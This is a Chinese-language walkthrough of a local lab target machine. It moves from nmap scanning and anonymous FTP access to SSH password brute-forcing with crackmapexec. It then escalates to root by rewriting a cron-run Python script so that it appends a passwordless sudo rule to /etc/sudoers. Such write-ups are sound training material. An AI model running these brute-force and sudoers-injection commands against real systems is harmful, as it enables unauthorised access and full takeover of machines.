靶机设置
网络设置为NAT模式,其他不需要修改。
Nmap扫描
主机发现
sudo nmap -sn 192.168.9.150/24
新增IP为靶机IP:192.168.9.153
TCP开放端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.9.153
开放了3个端口:21,22,80
UDP开放端口扫描
sudo nmap -sU --min-rate 10000 -p- 192.168.9.153
没有开放UDP端口
TCP详细信息扫描
sudo nmap -sT -sV -sC -O -p21,22,80 192.168.9.153 -oA nmap/detail
- ftp可以anonymouns匿名登陆
- linux+apache
- 80:
/secret
、/robots.txt
vuln漏洞脚本扫描
sudo nmap --script=vuln -p21,22,80 192.168.9.153 -oA nmap/vuln
没有新的东西。
Getshell
FTP
用户名:anonymous,密码:空
好习惯:一进去就切换成binary
模式
ls
看见一个文件,直接下载
没有其他内容了,咱们退出
80-简单浏览
没啥东西。
目录扫描,上:
sudo dirb http://192.168.9.153/
也没扫出来什么东西:
lol.pcap
看那个下载下来的pcap文件吧:wireshark lol.pcap
简单浏览了一下:非常少啊,只有67个包,而且基本上都是TCP和FTP
应该是用FTP传了什么东西,追踪TCP流仔细分析一下:
secret_stuff.txt
sup3rs3cr3tdirlol
目录01
根据提示访问:
http://192.168.9.153/secret_stuff.txt # 失败
http://192.168.9.153/sup3rs3cr3tdirlol/
搜索了一下roflmao
,跟lol
差不多的意思,表示大笑/嘲笑
可执行文件下下来,最简单的方式就是直接运行看看。
but,来路不明的文件可不敢随便运行嗷。先用看看它安不安全:
file filename
# file分析
binwalk filename
# 看有没有捆绑
strings filename
# 看里面的字符有没有异样
没有异样的。打个快照直接运行试试?
目录02
这个提示我自己是反应不过来的QAQ:
访问对应网址:http://192.168.9.153/0x0856BF/
ssh爆破
用户名和密码都给了,ssh爆破,启动!
sudo crackmapexec ssh 192.168.9.153 -u user.txt -p passwd.txt --continue-on-success
我这里就只把成功的扫描截图贴出来:
哦对了,这里还有一个脑筋急转弯,就是,密码不是Good_job_:)
,而是文件名Pass.txt
为啥我这里使用的用户字典叫user_re.txt
呢?
因为这个靶机它登陆有次数限制,连着失败会把你封禁一段时间(可以看到后面几次尝试是Unable to connect
),所以我就把用户字典颠倒了一下再进行扫描。
提权
ssh登陆
ssh登陆:
ssh overflow@192.168.9.153
# 密码:Pass.txt
基础信息
可以看到内核版本较低,待会可以考虑用内核漏洞提权
可以python提升shell交互性
定时任务提权
正在看内核提权呢,突然连接断了。
也多亏了这个断开——这里给了另一个思路:定时任务提权
不过老断蛮讨厌的。咱们做好准备再连:
进去之后:找定时任务文件的位置 -> 根据文件内容判断具体利用方式
python -c 'import pty;pty.spawn("/bin/bash")'
find / -iname 'cron*' 2>/dev/null
# 2>/dev/null:因为我们权限不够,所以肯定有很多报错,为了让我们看起来更简洁,就把报错都丢掉
find / -iname 'cleaner.py' 2>/dev/null
cat /lib/log/cleaner.py
vi /lib/log/cleaner.py
# os.system('echo "overflow ALL=(ALL)NOPASSWD: ALL" >> /etc/sudoers')
然后等待~!可以键入sudo -l
,看看什么时候改变
OK!
咱们新启一个shell即可~
(这里又超时被T了也不要紧,因为咱们已经把ALL权限写入sudoers里,所以只要重连即可)
sudo /bin/bash
拿下!